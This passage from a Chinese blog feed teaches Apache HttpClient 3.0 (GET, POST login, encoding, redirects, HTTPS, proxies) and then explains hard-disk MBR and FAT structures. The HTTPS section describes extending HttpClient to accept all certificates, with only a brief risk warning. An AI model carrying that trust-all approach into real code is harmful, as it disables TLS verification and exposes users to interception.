上很著名的另外两个开源项目 Cactus 和 HTMLUnit 都使用了 HttpClient，更多使用 HttpClient 的应用可以参见http://wiki.apache.org/jakarta-httpclient/HttpClientPowered。HttpClient 项目非常活跃，使用的人还是非常多的。目前 HttpClient 版本是在 2005.10.11 发布的 3.0 RC4 。<br /><br />HttpClient 功能介绍<br /><br />以下列出的是 HttpClient 提供的主要的功能，要知道更多详细的功能可以参见 HttpClient 的主页。<br /><br />&nbsp;&nbsp;&nbsp; 实现了所有 HTTP 的方法（GET,POST,PUT,HEAD 等）<br />&nbsp;&nbsp;&nbsp; 支持自动转向<br />&nbsp;&nbsp;&nbsp; 支持 HTTPS 协议<br />&nbsp;&nbsp;&nbsp; 支持代理服务器等<br /><br />下面将逐一介绍怎样使用这些功能。首先，我们必须安装好 HttpClient。<br /><br />&nbsp;&nbsp;&nbsp; HttpClient 可以在http://jakarta.apache.org/commons/httpclient/downloads.html下载<br />&nbsp;&nbsp;&nbsp; HttpClient 用到了 Apache Jakarta common 下的子项目 logging，你可以从这个地址http://jakarta.apache.org/site/downloads/downloads_commons-logging.cgi下载到 common logging，从下载后的压缩包中取出 commons-logging.jar 加到 CLASSPATH 中<br />&nbsp;&nbsp;&nbsp; HttpClient 用到了 Apache Jakarta common 下的子项目 codec，你可以从这个地址http://jakarta.apache.org/site/downloads/downloads_commons-codec.cgi 下载到最新的 common codec，从下载后的压缩包中取出 commons-codec-1.x.jar 加到 CLASSPATH 中<br /><br /><br />HttpClient 基本功能的使用<br /><br />GET 方法<br /><br />使用 HttpClient 需要以下 6 个步骤：<br /><br />1. 创建 HttpClient 的实例<br /><br />2. 创建某种连接方法的实例，在这里是 GetMethod。在 GetMethod 的构造函数中传入待连接的地址<br /><br />3. 调用第一步中创建好的实例的 execute 方法来执行第二步中创建好的 method 实例<br /><br />4. 读 response<br /><br />5. 释放连接。无论执行方法是否成功，都必须释放连接<br /><br />6. 对得到后的内容进行处理<br /><br />根据以上步骤，我们来编写用GET方法来取得某网页内容的代码。<br /><br />&nbsp;&nbsp;&nbsp; 大部分情况下 HttpClient 默认的构造函数已经足够使用。<br /><br />&nbsp;&nbsp;&nbsp; HttpClient httpClient = new HttpClient();<br /><br /><br />&nbsp;&nbsp;&nbsp; 创建GET方法的实例。在GET方法的构造函数中传入待连接的地址即可。用GetMethod将会自动处理转发过程，如果想要把自动处理转发过程去掉的话，可以调用方法setFollowRedirects(false)。<br /><br />&nbsp;&nbsp;&nbsp; GetMethod getMethod = new GetMethod("http://www.ibm.com/");<br /><br /><br />&nbsp;&nbsp;&nbsp; 调用实例httpClient的executeMethod方法来执行getMethod。由于是执行在网络上的程序，在运行executeMethod方法的时候，需要处理两个异常，分别是HttpException和IOException。引起第一种异常的原因主要可能是在构造getMethod的时候传入的协议不对，比如不小心将"http"写成"htp"，或者服务器端返回的内容不正常等，并且该异常发生是不可恢复的；第二种异常一般是由于网络原因引起的异常，对于这种异常 （IOException），HttpClient会根据你指定的恢复策略自动试着重新执行executeMethod方法。HttpClient的恢复策略可以自定义（通过实现接口HttpMethodRetryHandler来实现）。通过httpClient的方法setParameter设置你实现的恢复策略，本文中使用的是系统提供的默认恢复策略，该策略在碰到第二类异常的时候将自动重试3次。executeMethod返回值是一个整数，表示了执行该方法后服务器返回的状态码，该状态码能表示出该方法执行是否成功、需要认证或者页面发生了跳转（默认状态下GetMethod的实例是自动处理跳转的）等。<br /><br />&nbsp;&nbsp;&nbsp; //设置成了默认的恢复策略，在发生异常时候将自动重试3次，在这里你也可以设置成自定义的恢复策略<br />&nbsp;&nbsp;&nbsp; getMethod.getParams().setParameter(HttpMethodParams.RETRY_HANDLER, <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; new DefaultHttpMethodRetryHandler()); <br />&nbsp;&nbsp;&nbsp; //执行getMethod<br />&nbsp;&nbsp;&nbsp; int statusCode = client.executeMethod(getMethod);<br />&nbsp;&nbsp;&nbsp; if (statusCode != HttpStatus.SC_OK) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.err.println("Method failed: " + getMethod.getStatusLine());<br />&nbsp;&nbsp;&nbsp; }<br /><br /><br />&nbsp;&nbsp;&nbsp; 在返回的状态码正确后，即可取得内容。取得目标地址的内容有三种方法：第一种，getResponseBody，该方法返回的是目标的二进制的byte流；第二种，getResponseBodyAsString，这个方法返回的是String类型，值得注意的是该方法返回的String的编码是根据系统默认的编码方式，所以返回的String值可能编码类型有误，在本文的"字符编码"部分中将对此做详细介绍；第三种，getResponseBodyAsStream，这个方法对于目标地址中有大量数据需要传输是最佳的。在这里我们使用了最简单的getResponseBody方法。<br /><br />&nbsp;&nbsp;&nbsp; byte[] responseBody = method.getResponseBody();<br /><br /><br />&nbsp;&nbsp;&nbsp; 释放连接。无论执行方法是否成功，都必须释放连接。<br /><br />&nbsp;&nbsp;&nbsp; method.releaseConnection();<br /><br /><br />&nbsp;&nbsp;&nbsp; 处理内容。在这一步中根据你的需要处理内容，在例子中只是简单的将内容打印到控制台。<br /><br />&nbsp;&nbsp;&nbsp; System.out.println(new String(responseBody));<br /><br /><br />下面是程序的完整代码，这些代码也可在附件中的test.GetSample中找到。<br /><br />package test;<br />import java.io.IOException;<br />import org.apache.commons.httpclient.*;<br />import org.apache.commons.httpclient.methods.GetMethod;<br />import org.apache.commons.httpclient.params.HttpMethodParams;<br />public class GetSample{<br />&nbsp; public static void main(String[] args) {<br />&nbsp; //构造HttpClient的实例<br />&nbsp; HttpClient httpClient = new HttpClient();<br />&nbsp; //创建GET方法的实例<br />&nbsp; GetMethod getMethod = new GetMethod("http://www.ibm.com");<br />&nbsp; //使用系统提供的默认的恢复策略<br />&nbsp; getMethod.getParams().setParameter(HttpMethodParams.RETRY_HANDLER,<br />&nbsp;&nbsp;&nbsp; new DefaultHttpMethodRetryHandler());<br />&nbsp; try {<br />&nbsp;&nbsp; //执行getMethod<br />&nbsp;&nbsp; int statusCode = httpClient.executeMethod(getMethod);<br />&nbsp;&nbsp; if (statusCode != HttpStatus.SC_OK) {<br />&nbsp;&nbsp;&nbsp; System.err.println("Method failed: "<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + getMethod.getStatusLine());<br />&nbsp;&nbsp; }<br />&nbsp;&nbsp; //读取内容 <br />&nbsp;&nbsp; byte[] responseBody = getMethod.getResponseBody();<br />&nbsp;&nbsp; //处理内容<br />&nbsp;&nbsp; System.out.println(new String(responseBody));<br />&nbsp; } catch (HttpException e) {<br />&nbsp;&nbsp; //发生致命的异常，可能是协议不对或者返回的内容有问题<br />&nbsp;&nbsp; System.out.println("Please check your provided http address!");<br />&nbsp;&nbsp; e.printStackTrace();<br />&nbsp; } catch (IOException e) {<br />&nbsp;&nbsp; //发生网络异常<br />&nbsp;&nbsp; e.printStackTrace();<br />&nbsp; } finally {<br />&nbsp;&nbsp; //释放连接<br />&nbsp;&nbsp; getMethod.releaseConnection();<br />&nbsp; }<br />&nbsp;}<br />}<br /><br /><br />POST方法<br /><br />根据RFC2616，对POST的解释如下：POST方法用来向目的服务器发出请求，要求它接受被附在请求后的实体，并把它当作请求队列（Request-Line）中请求URI所指定资源的附加新子项。POST被设计成用统一的方法实现下列功能：<br /><br />&nbsp;&nbsp;&nbsp; 对现有资源的注释（Annotation of existing resources）<br />&nbsp;&nbsp;&nbsp; 向电子公告栏、新闻组，邮件列表或类似讨论组发送消息<br />&nbsp;&nbsp;&nbsp; 提交数据块，如将表单的结果提交给数据处理过程<br />&nbsp;&nbsp;&nbsp; 通过附加操作来扩展数据库<br /><br />调用HttpClient中的PostMethod与GetMethod类似，除了设置PostMethod的实例与GetMethod有些不同之外，剩下的步骤都差不多。在下面的例子中，省去了与GetMethod相同的步骤，只说明与上面不同的地方，并以登录清华大学BBS为例子进行说明。<br /><br />&nbsp;&nbsp;&nbsp; 构造PostMethod之前的步骤都相同，与GetMethod一样，构造PostMethod也需要一个URI参数，在本例中，登录的地址是http://www.newsmth.net/bbslogin2.php。在创建了PostMethod的实例之后，需要给method实例填充表单的值，在BBS的登录表单中需要有两个域，第一个是用户名（域名叫id），第二个是密码（域名叫passwd）。表单中的域用类NameValuePair来表示，该类的构造函数第一个参数是域名，第二参数是该域的值；将表单所有的值设置到PostMethod中用方法setRequestBody。另外由于BBS登录成功后会转向另外一个页面，但是HttpClient对于要求接受后继服务的请求，比如POST和PUT，不支持自动转发，因此需要自己对页面转向做处理。具体的页面转向处理请参见下面的"自动转向"部分。代码如下：<br /><br />&nbsp;&nbsp;&nbsp; String url = "http://www.newsmth.net/bbslogin2.php";<br />&nbsp;&nbsp;&nbsp; PostMethod postMethod = new PostMethod(url);<br />&nbsp;&nbsp;&nbsp; // 填入各个表单域的值<br />&nbsp;&nbsp;&nbsp; NameValuePair[] data = { new NameValuePair("id", "youUserName"),<br />&nbsp;&nbsp;&nbsp; new NameValuePair("passwd", "yourPwd") };<br />&nbsp;&nbsp;&nbsp; // 将表单的值放入postMethod中<br />&nbsp;&nbsp;&nbsp; postMethod.setRequestBody(data);<br />&nbsp;&nbsp;&nbsp; // 执行postMethod<br />&nbsp;&nbsp;&nbsp; int statusCode = httpClient.executeMethod(postMethod);<br />&nbsp;&nbsp;&nbsp; // HttpClient对于要求接受后继服务的请求，象POST和PUT等不能自动处理转发<br />&nbsp;&nbsp;&nbsp; // 301或者302<br />&nbsp;&nbsp;&nbsp; if (statusCode == HttpStatus.SC_MOVED_PERMANENTLY || <br />&nbsp;&nbsp;&nbsp; statusCode == HttpStatus.SC_MOVED_TEMPORARILY) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 从头中取出转向的地址<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Header locationHeader = postMethod.getResponseHeader("location");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String location = null;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (locationHeader != null) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; location = locationHeader.getValue();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("The page was redirected to:" + location);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } else {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.err.println("Location field value is null.");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return;<br />&nbsp;&nbsp;&nbsp; }<br /><br /><br />完整的程序代码请参见附件中的test.PostSample<br /><br /><br />使用HttpClient过程中常见的一些问题<br /><br />下面介绍在使用HttpClient过程中常见的一些问题。<br /><br />字符编码<br /><br />某目标页的编码可能出现在两个地方，第一个地方是服务器返回的http头中，另外一个地方是得到的html/xml页面中。<br /><br />&nbsp;&nbsp;&nbsp; 在http头的Content-Type字段可能会包含字符编码信息。例如可能返回的头会包含这样子的信息：Content-Type: text/html; charset=UTF-8。这个头信息表明该页的编码是UTF-8，但是服务器返回的头信息未必与内容能匹配上。比如对于一些双字节语言国家，可能服务器返回的编码类型是UTF-8，但真正的内容却不是UTF-8编码的，因此需要在另外的地方去得到页面的编码信息；但是如果服务器返回的编码不是UTF-8，而是具体的一些编码，比如gb2312等，那服务器返回的可能是正确的编码信息。通过method对象的getResponseCharSet()方法就可以得到http头中的编码信息。<br />&nbsp;&nbsp;&nbsp; 对于象xml或者html这样的文件，允许作者在页面中直接指定编码类型。比如在html中会有&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312"/&gt;这样的标签；或者在xml中会有&lt;?xml version="1.0" encoding="gb2312"?&gt;这样的标签，在这些情况下，可能与http头中返回的编码信息冲突，需要用户自己判断到底那种编码类型应该是真正的编码。<br /><br />自动转向<br /><br />根据RFC2616中对自动转向的定义，主要有两种：301和302。301表示永久的移走（Moved Permanently），当返回的是301，则表示请求的资源已经被移到一个固定的新地方，任何向该地址发起请求都会被转到新的地址上。302表示暂时的转向，比如在服务器端的servlet程序调用了sendRedirect方法，则在客户端就会得到一个302的代码，这时服务器返回的头信息中location的值就是sendRedirect转向的目标地址。<br /><br />HttpClient支持自动转向处理，但是象POST和PUT方式这种要求接受后继服务的请求方式，暂时不支持自动转向，因此如果碰到POST方式提交后返回的是301或者302的话需要自己处理。就像刚才在POSTMethod中举的例子：如果想进入登录BBS后的页面，必须重新发起登录的请求，请求的地址可以在头字段location中得到。不过需要注意的是，有时候location返回的可能是相对路径，因此需要对location返回的值做一些处理才可以发起向新地址的请求。<br /><br />另外除了在头中包含的信息可能使页面发生重定向外，在页面中也有可能会发生页面的重定向。引起页面自动转发的标签是：&lt;meta http-equiv="refresh" content="5; url=http://www.ibm.com/us"&gt;。如果你想在程序中也处理这种情况的话得自己分析页面来实现转向。需要注意的是，在上面那个标签中url的值也可以是一个相对地址，如果是这样的话，需要对它做一些处理后才可以转发。<br /><br />处理HTTPS协议<br /><br />HttpClient提供了对SSL的支持，在使用SSL之前必须安装JSSE。在Sun提供的1.4以后的版本中，JSSE已经集成到JDK中，如果你使用的是JDK1.4以前的版本则必须安装JSSE。JSSE不同的厂家有不同的实现。下面介绍怎么使用HttpClient来打开Https连接。这里有两种方法可以打开https连接，第一种就是得到服务器颁发的证书，然后导入到本地的keystore中；另外一种办法就是通过扩展HttpClient的类来实现自动接受证书。<br /><br />方法1，取得证书，并导入本地的keystore：<br /><br />&nbsp;&nbsp;&nbsp; 安装JSSE （如果你使用的JDK版本是1.4或者1.4以上就可以跳过这一步）。本文以IBM的JSSE为例子说明。先到IBM网站上下载JSSE的安装包。然后解压开之后将ibmjsse.jar包拷贝到&lt;java-home&gt;\lib\ext\目录下。<br />&nbsp;&nbsp;&nbsp; 取得并且导入证书。证书可以通过IE来获得：<br /><br />&nbsp;&nbsp;&nbsp; 1． 用IE打开需要连接的https网址，会弹出如下对话框：<br />&nbsp;&nbsp;&nbsp; <img src="http://www.blogjava.net/images/blogjava_net/galaxyp/httpclient1.png" alt="" border="0" height="301" width="384" /><br /><br />&nbsp;&nbsp;&nbsp; 2． 单击"View Certificate"，在弹出的对话框中选择"Details"，然后再单击"Copy to File"，根据提供的向导生成待访问网页的证书文件<br />&nbsp;&nbsp;&nbsp; <img src="http://www.blogjava.net/images/blogjava_net/galaxyp/httpclient2.png" alt="" border="0" height="476" width="409" /><br /><br />&nbsp;&nbsp;&nbsp; 3． 向导第一步，欢迎界面，直接单击"Next"，<br />&nbsp;&nbsp;&nbsp; <img src="http://www.blogjava.net/images/blogjava_net/galaxyp/httpclient3.png" alt="" border="0" height="386" width="503" /><br /><br />&nbsp;&nbsp;&nbsp; 4． 向导第二步，选择导出的文件格式，默认，单击"Next"，<br />&nbsp;&nbsp;&nbsp; <img src="http://www.blogjava.net/images/blogjava_net/galaxyp/httpclient4.png" alt="" border="0" height="386" width="503" /><br /><br />&nbsp;&nbsp;&nbsp; 5． 向导第三步，输入导出的文件名，输入后，单击"Next"，<br />&nbsp;&nbsp;&nbsp; <img src="http://www.blogjava.net/images/blogjava_net/galaxyp/httpclient5.png" alt="" border="0" height="454" width="506" /><br /><br />&nbsp;&nbsp;&nbsp; 6． 向导第四步，单击"Finish"，完成向导<br />&nbsp;&nbsp;&nbsp; <img src="http://www.blogjava.net/images/blogjava_net/galaxyp/httpclient6.png" alt="" border="0" height="386" width="503" /><br /><br />&nbsp;&nbsp;&nbsp; 7． 最后弹出一个对话框，显示导出成功<br />&nbsp;&nbsp;&nbsp; <img src="http://www.blogjava.net/images/blogjava_net/galaxyp/httpclient7.png" alt="" border="0" height="100" width="183" /><br /><br />&nbsp;&nbsp;&nbsp; 用keytool工具把刚才导出的证书倒入本地keystore。Keytool命令在&lt;java-home&gt;\bin\下，打开命令行窗口，并到&lt;java-home&gt;\lib\security\目录下，运行下面的命令：<br /><br />&nbsp;&nbsp;&nbsp; keytool -import -noprompt -keystore cacerts <br />&nbsp;&nbsp;&nbsp; -storepass changeit -alias yourEntry1 -file your.cer<br /><br /><br />&nbsp;&nbsp;&nbsp; 其中参数alias后跟的值是当前证书在keystore中的唯一标识符，但是大小写不区分；参数file后跟的是刚才通过IE导出的证书所在的路径和文件名；如果你想删除刚才导入到keystore的证书，可以用命令：<br /><br />&nbsp;&nbsp;&nbsp; keytool -delete -keystore cacerts -storepass changeit -alias yourEntry1<br /><br /><br />&nbsp;&nbsp;&nbsp; 写程序访问https地址。如果想测试是否能连上https，只需要稍改一下GetSample例子，把请求的目标变成一个https地址。<br /><br />&nbsp;&nbsp;&nbsp; GetMethod getMethod = new GetMethod("https://www.yourdomain.com");<br /><br /><br />&nbsp;&nbsp;&nbsp; 运行该程序可能出现的问题：<br /><br />&nbsp;&nbsp;&nbsp; 1. 抛出异常java.net.SocketException: Algorithm SSL not available。出现这个异常可能是因为没有加JSSEProvider，如果用的是IBM的JSSE Provider，在程序中加入这样的一行：<br /><br />&nbsp;&nbsp;&nbsp;&nbsp; if(Security.getProvider("com.ibm.jsse.IBMJSSEProvider") == null)<br />&nbsp;&nbsp;&nbsp;&nbsp; Security.addProvider(new IBMJSSEProvider());<br />&nbsp;&nbsp;&nbsp; &nbsp;<br /><br /><br />&nbsp;&nbsp;&nbsp; 或者也可以打开&lt;java-home&gt;\lib\security\java.security，在行<br /><br />&nbsp;&nbsp;&nbsp; security.provider.1=sun.security.provider.Sun<br />&nbsp;&nbsp;&nbsp; security.provider.2=com.ibm.crypto.provider.IBMJCE<br /><br /><br />&nbsp;&nbsp;&nbsp; 后面加入security.provider.3=com.ibm.jsse.IBMJSSEProvider<br /><br />&nbsp;&nbsp;&nbsp; 2. 抛出异常java.net.SocketException: SSL implementation not available。出现这个异常可能是你没有把ibmjsse.jar拷贝到&lt;java-home&gt;\lib\ext\目录下。<br /><br />&nbsp;&nbsp;&nbsp; 3. 抛出异常javax.net.ssl.SSLHandshakeException: unknown certificate。出现这个异常表明你的JSSE应该已经安装正确，但是可能因为你没有把证书导入到当前运行JRE的keystore中，请按照前面介绍的步骤来导入你的证书。<br /><br />方法２，扩展HttpClient类实现自动接受证书<br /><br />因为这种方法自动接收所有证书，因此存在一定的安全问题，所以在使用这种方法前请仔细考虑您的系统的安全需求。具体的步骤如下：<br /><br />&nbsp;&nbsp;&nbsp; 提供一个自定义的socket factory（test.MySecureProtocolSocketFactory）。这个自定义的类必须实现接口org.apache.commons.httpclient.protocol.SecureProtocolSocketFactory，在实现接口的类中调用自定义的X509TrustManager(test.MyX509TrustManager)，这两个类可以在随本文带的附件中得到<br />&nbsp;&nbsp;&nbsp; 创建一个org.apache.commons.httpclient.protocol.Protocol的实例，指定协议名称和默认的端口号<br /><br />&nbsp;&nbsp;&nbsp; Protocol myhttps = new Protocol("https", new MySecureProtocolSocketFactory (), 443);<br /><br /><br />&nbsp;&nbsp;&nbsp; 注册刚才创建的https协议对象<br /><br />&nbsp;&nbsp;&nbsp; Protocol.registerProtocol("https ", myhttps);<br /><br /><br />&nbsp;&nbsp;&nbsp; 然后按照普通编程方式打开https的目标地址，代码请参见test.NoCertificationHttpsGetSample<br /><br />处理代理服务器<br /><br />HttpClient中使用代理服务器非常简单，调用HttpClient中setProxy方法就可以，方法的第一个参数是代理服务器地址，第二个参数是端口号。另外HttpClient也支持SOCKS代理。<br /><br />httpClient.getHostConfiguration().setProxy(hostName,port);<br /><br /><br />回页首<br /><br />结论<br /><br />从上面的介绍中，可以知道HttpClient对http协议支持非常好，使用起来很简单，版本更新快，功能也很强大，具有足够的灵活性和扩展性。对于想在Java应用中直接访问http资源的编程人员来说，HttpClient是一个不可多得的好工具。<br /><br />参考资料<br /><br />&nbsp;&nbsp;&nbsp; Commons logging包含了各种各样的日志API的实现，读者可以通过站点http://jakarta.apache.org/commons/logging/得到详细的内容<br /><br />&nbsp;&nbsp;&nbsp; Commons codec包含了一些一般的解码/编码算法。包含了语音编码、十六进制、Base64和URL编码等，通过http://jakarta.apache.org/commons/codec/可以得到详细的内容<br /><br />&nbsp;&nbsp;&nbsp; rfc2616是关于HTTP/1.1的文档，可以在http://www.faqs.org/rfcs/rfc2616.html上得到详细的内容，另外rfc1945是关于HTTP/1.0的文档，通过http://www.faqs.org/rfcs/rfc1945.html可以得到详细内容<br /><br />&nbsp;&nbsp;&nbsp; SSL&#8213;&#8213;SSL 是由 Netscape Communications Corporation 于 1994 年开发的，而 TLS V1.0 是由 Internet Engineering Task Force（IETF）定义的标准，它基于 SSL V3.0，并且在使用的加密算法上与其有些许的不同。例如，SSL 使用 Message Authentication Code（MAC）算法来生成完整性校验值，而 TLS 应用密钥的 Hashing for Message Authentication Code（HMAC）算法。<br /><br />&nbsp;&nbsp;&nbsp; IBM JSSE提供了SSL（Secure Sockets Layer）和TLS（Transport Layer Security）的java实现，在http://www-03.ibm.com/servers/eserver/zseries/software/java/jsse.html中可以得到详细的信息<br /><br />&nbsp;&nbsp;&nbsp; Keytool是一个管理密钥和证书的工具。关于它详细的使用信息可以在http://www.doc.ic.ac.uk/csg/java/1.3.1docs/tooldocs/solaris/keytool.html上得到<br /><br />&nbsp;&nbsp;&nbsp; HTTPClient的主页是http://jakarta.apache.org/commons/httpclient/，你可以在这里得到关于HttpClient更加详细的信息<br /><br />作者简介<br /><br />金发华是一名工作在 IBM CSDL 的软件工程师。他喜欢钻研各种新的技术，在 Java 网络开发和 Web 开发方面颇有经验。<br /><br />陈樟洪是一位 IBM CSDL 的软件工程师，目前从事企业电子商务应用的开发。</div><img src ="http://www.blogjava.net/galaxyp/aggbug/352862.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2011-06-23 10:55 <a href="http://www.blogjava.net/galaxyp/archive/2011/06/23/352862.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>硬盘分区表知识——详解硬盘MBR</title><link>http://www.blogjava.net/galaxyp/archive/2010/04/25/319344.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Sun, 25 Apr 2010 14:55:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2010/04/25/319344.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/319344.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2010/04/25/319344.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/319344.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/319344.html</trackback:ping><description><![CDATA[硬盘是现在计算机上最常用的存储器之一。我们都知道，计算机之所以神奇，是因为它具有高速分析处理数据的能力。而这些数据都以文件的形式存储在硬盘
里。不过，计算机可不像人那么聪明。在读取相应的文件时，你必须要给出相应的规则。这就是分区概念。
<p>&nbsp;&nbsp;&nbsp; 分区从实质上说就是对硬盘的一种格式化。当我们创建分区时，就已经设置好了硬盘的各项物理参数，指定了硬盘主引导记录（即Master
Boot
Record，一般简称为MBR）和引导记录备份的存放位置。而对于文件系统以及其他操作系统管理硬盘所需要的信息则是通过以后的高级格式化，即
Format命令来实现。面、磁道和扇区硬盘分区后，将会被划分为面（Side）、磁道（Track）和扇区（Sector）。需要注意的是，这些只是个
虚拟的概念，并不是真正在硬盘上划轨道。</p>
<p>&nbsp;&nbsp;&nbsp;
先从面说起，硬盘一般是由一片或几片圆形薄膜叠加而成。我们所说，每个圆形薄膜都有两个&#8220;面&#8221;，这两个面都是用来存储数据的。按照面的多少，依次称为0
面、1面、2面&#8230;&#8230;由于每个面都专有一个读写磁头，也常用0头(head)、1头&#8230;&#8230;称之。按照硬盘容量和规格的不同，硬盘面数(或头数)也不一定相同，
少的只有2面，多的可达数十面。各面上磁道号相同的磁道合起来，称为一个柱面(Cylinder)。</p>
<p>&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp;
上面我们提到了磁道的概念。那么究竟何为磁道呢？由于磁盘是旋转的，则连续写入的数据是排列在一个圆周上的。我们称这样的圆周为一个磁道。如果读写磁头沿
着圆形薄膜的半径方向移动一段距离，以后写入的数据又排列在另外一个磁道上。根据硬盘规格的不同，磁道数可以从几百到数千不等；一个磁道上可以容纳数KB
的数据，而主机读写时往往并不需要一次读写那么多，于是，磁道又被划分成若干段，每段称为一个扇区。一个扇区一般存放512字节的数据。扇区也需要编号，
同一磁道中的扇区，分别称为1扇区，2扇区&#8230;&#8230;<br />
</p>
<p>&nbsp;&nbsp;&nbsp;
计算机对硬盘的读写，处于效率的考虑，是以扇区为基本单位的。即使计算机只需要硬盘上存储的某个字节，也必须一次把这个字节所在的扇区中的512字节全部
读入内存，再使用所需的那个字节。不过，在上文中我们也提到，硬盘上面、磁道、扇区的划分表面上是看不到任何痕迹的，虽然磁头可以根据某个磁道的应有半径
来对准这个磁道，但怎样才能在首尾相连的一圈扇区中找出所需要的某一扇区呢？原来，每个扇区并不仅仅由512个字节组成的，在这些由计算机存取的数据的
前、后两端，都另有一些特定的数据，这些数据构成了扇区的界限标志，标志中含有扇区的编号和其他信息。计算机就凭借着这些标志来识别扇区。硬盘的数据结构
在上文中，我们谈了数据在硬盘中的存储的一般原理。为了能更深入地了解硬盘，我们还必须对硬盘的数据结构有个简单的了解。硬盘上的数据按照其不同的特点和
作用大致可分为5部分：MBR区、DBR区、FAT区、DIR区和DATA区。</p>
<p>&nbsp;</p>
<p>我们来分别介绍一下：</p>
<p><strong>1、MBR区</strong> </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MBR（Main Boot Record
主引导记录区）位于整个硬盘的0磁道0柱面1扇区。不过，在总共512字节的主引导扇区中，MBR只占用了其中的446个字节，另外的64个字节交给了
DPT（Disk Partition Table硬盘分区表），最后两个字节&#8220;55，AA&#8221;是分区的结束标志。这个整体构成了硬盘的主引导扇区。</p>
<p>&nbsp;&nbsp;&nbsp;
主引导记录中包含了硬盘的一系列参数和一段引导程序。其中的硬盘引导程序的主要作用是检查分区表是否正确并且在系统硬件完成自检以后引导具有激活标志的分
区上的操作系统，并将控制权交给启动程序。MBR是由分区程序（如Fdisk．exe）所产生的，它不依赖任何操作系统，而且硬盘引导程序也是可以改变
的，从而实现多系统共存。</p>
<p>&nbsp;&nbsp;&nbsp; 下面，我们以一个实例让大家更直观地来了解主引导记录：</p>
<p>&nbsp;&nbsp;&nbsp; <strong>例：</strong><font color="#800000">80 01 01 00 0B FE BF FC
3F 00 00 00 7E 86 BB 00</font> 在这里我们可以看到，最前面的&#8220;80&#8221;是一个分区的激活标志，表示系统可引导；&#8220;01
01
00&#8221;表示分区开始的磁头号为01，开始的扇区号为01，开始的柱面号为00；&#8220;0B&#8221;表示分区的系统类型是FAT32，其他比较常用的有
04（FAT16）、07（NTFS）；&#8220;FE BF FC&#8221;表示分区结束的磁头号为254，分区结束的扇区号为63、分区结束的柱面号为764；&#8220;3F
00 00 00&#8221;表示首扇区的相对扇区号为63；&#8220;7E 86 BB 00&#8221;表示总扇区数为12289622。<br />
</p>
<p><strong>2、DBR区</strong> </p>
<p>&nbsp;&nbsp;&nbsp; DBR（Dos Boot
Record）是操作系统引导记录区的意思。它通常位于硬盘的0磁道1柱面1扇区，是操作系统可以直接访问的第一个扇区，它包括一个引导程序和一个被称为
BPB（Bios Parameter
Block）的本分区参数记录表。引导程序的主要任务是当MBR将系统控制权交给它时，判断本分区跟目录前两个文件是不是操作系统的引导文件（以DOS为
例，即是Io．sys和Msdos．sys）。如果确定存在，就把它读入内存，并把控制权
交给该文件。BPB参数块记录着本分区的起始扇区、结束扇区、文件存储格式、硬盘介质描述符、根目录大小、FAT个数，分配单元的大小等重要参数。DBR
是由高级格式化程序（即Format．com等程序）所产生的。<br />
</p>
<p><strong>3、FAT区</strong> </p>
<p>&nbsp;&nbsp;&nbsp; 在DBR之后的是我们比较熟悉的FAT（File Allocation
Table文件分配表）区。在解释文件分配表的概念之前，我们先来谈谈簇（Cluster）的概念。文件占用磁盘空间时，基本单位不是字节而是簇。一般情
况下，软盘每簇是1个扇区，硬盘每簇的扇区数与硬盘的总容量大小有关，可能是4、8、16、32、64&#8230;&#8230;
同一个文件的数据并不一定完整地存放在磁盘的一个连续的区域内，而往往会分成若干段，像一条链子一样存放。这种存储方式称为文件的链式存储。由于硬盘上保
存着段与段之间的连接信息（即FAT），操作系统在读取文件时，总是能够准确地找到各段的位置并正确读出。
为了实现文件的链式存储，硬盘上必须准确地记录哪些簇已经被文件占用，还必须为每个已经占用的簇指明存储后继内容的下一个簇的簇号。对一个文件的最后一
簇，则要指明本簇无后继簇。这些都是由FAT表来保存的，表中有很多表项，每项记录一个簇的信息。由于FAT对于文件管理的重要性，所以FAT有一个备
份，即在原FAT的后面再建一个同样的FAT。初形成的FAT中所有项都标明为&#8220;未占用&#8221;，但如果磁盘有局部损坏，那么格式化程序会检测出损坏的簇，在相
应的项中标为&#8220;坏簇&#8221;，以后存文件时就不会再使用这个簇了。FAT的项数与硬盘上的总簇数相当，每一项占用的字节数也要与总簇数相适应，因为其中需要存放
簇号。FAT的格式有多种，最为常见的是FAT16和FAT32。</p>
<p>&nbsp;</p>
<p><strong>4、DIR区</strong></p>
<p><strong>&nbsp; </strong>&nbsp;DIR（Directory）是根目录区，紧接着第二FAT表（即备份的FAT表）之后，记录着根目录下
每个文件(目录)的起始单元，文件的属性等。定位文件位置时，操作系统根据DIR中的起始单元，结合FAT表就可以知道文件在硬盘中的具体位置和大小了。</p>
<p>&nbsp;</p>
